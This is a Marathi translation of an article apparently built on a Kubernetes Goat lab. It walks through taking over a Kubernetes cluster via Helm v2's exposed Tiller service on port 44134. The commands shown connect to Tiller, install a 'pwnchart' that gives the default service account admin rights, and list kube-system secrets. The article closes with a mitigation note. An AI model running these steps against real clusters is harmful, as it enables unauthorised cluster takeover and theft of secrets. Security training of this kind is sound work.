हेल्म v2 टिलर वापरून कुबर्नेट्स क्लस्टर तोडणे

हेल्म हे कुबर्नेट्ससाठी पॅकेज मॅनेजर आहे, असे काहीतरी apt-get उबंटू साठी. या नोटमध्ये आपण हेल्म (v2) ची मागील आवृत्ती डीफॉल्टनुसार स्थापित केलेल्या टिलर सेवेसह पाहू, ज्याद्वारे आपण क्लस्टरमध्ये प्रवेश करू.

चला क्लस्टर तयार करू; हे करण्यासाठी, कमांड चालवा:

kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash

प्रात्यक्षिक

• तुम्ही काहीही अतिरिक्त कॉन्फिगर न केल्यास, हेल्म v2 टिलर सेवा सुरू करते, ज्यामध्ये संपूर्ण क्लस्टर प्रशासक अधिकारांसह RBAC आहे.
• नेमस्पेस मध्ये प्रतिष्ठापन नंतर kube-system दिसते tiller-deploy, आणि पोर्ट 44134 देखील उघडते, 0.0.0.0 ला बांधलेले आहे. हे टेलनेट वापरून तपासले जाऊ शकते.

$ telnet tiller-deploy.kube-system 44134

• आता तुम्ही टिलर सेवेशी कनेक्ट होऊ शकता. टिलर सेवेशी संवाद साधताना ऑपरेशन्स करण्यासाठी आम्ही हेल्म बायनरी वापरू:

$ helm --host tiller-deploy.kube-system:44134 version

• नेमस्पेसमधून कुबर्नेट्स क्लस्टर सिक्रेट्स मिळवण्याचा प्रयत्न करूया kube-system:

$ kubectl get secrets -n kube-system

• आता आम्ही आमचा स्वतःचा चार्ट तयार करू शकतो, ज्यामध्ये आम्ही प्रशासक अधिकारांसह एक भूमिका तयार करू आणि ही भूमिका डीफॉल्ट सेवा खात्याला नियुक्त करू. या सेवा खात्यातील टोकन वापरून, आम्हाला आमच्या क्लस्टरमध्ये पूर्ण प्रवेश मिळाला.

$ helm --host tiller-deploy.kube-system:44134 install /pwnchart

• आता जेव्हा pwnchart उपयोजित, डीफॉल्ट सेवा खात्यात पूर्ण प्रशासकीय प्रवेश आहे. कडून रहस्य कसे मिळवायचे ते पुन्हा तपासूया kube-system

kubectl get secrets -n kube-system

या स्क्रिप्टची यशस्वी अंमलबजावणी टिलर कशी तैनात केली गेली यावर अवलंबून असते; काहीवेळा प्रशासक वेगवेगळ्या विशेषाधिकारांसह वेगळ्या नेमस्पेसमध्ये तैनात करतात. हेल्म 3 अशा असुरक्षिततेसाठी संवेदनाक्षम नाही कारण... त्यात टिलर नाही.

अनुवादकाची टीप: क्लस्टरमधील रहदारी फिल्टर करण्यासाठी नेटवर्क पॉलिसी वापरणे या प्रकारच्या भेद्यतेपासून संरक्षण करण्यात मदत करते.

स्त्रोत: www.habr.com